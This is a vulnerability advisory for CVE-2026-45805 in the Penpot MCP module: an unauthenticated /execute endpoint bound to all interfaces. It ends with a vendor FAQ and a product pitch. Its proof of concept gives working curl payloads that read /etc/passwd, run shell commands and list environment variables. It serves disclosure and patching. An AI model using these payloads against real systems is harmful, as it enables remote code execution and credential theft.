CVE-2026-45805

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT, Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts, ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403, all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

CVE-2026-45805 has a CVSS score of 8.8 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.15.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45805? CVE-2026-45805 is a high-severity security vulnerability in @penpot/mcp (npm), affecting versions < 2.15.0. It is fixed in 2.15.0.
2. How severe is CVE-2026-45805? CVE-2026-45805 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @penpot/mcp are affected by CVE-2026-45805? @penpot/mcp (npm) versions < 2.15.0 is affected.
4. Is there a fix for CVE-2026-45805? Yes. CVE-2026-45805 is fixed in 2.15.0. Upgrade to this version or later.
5. Is CVE-2026-45805 exploitable, and should I be worried? Whether CVE-2026-45805 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45805 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45805? Upgrade @penpot/mcp to 2.15.0 or later.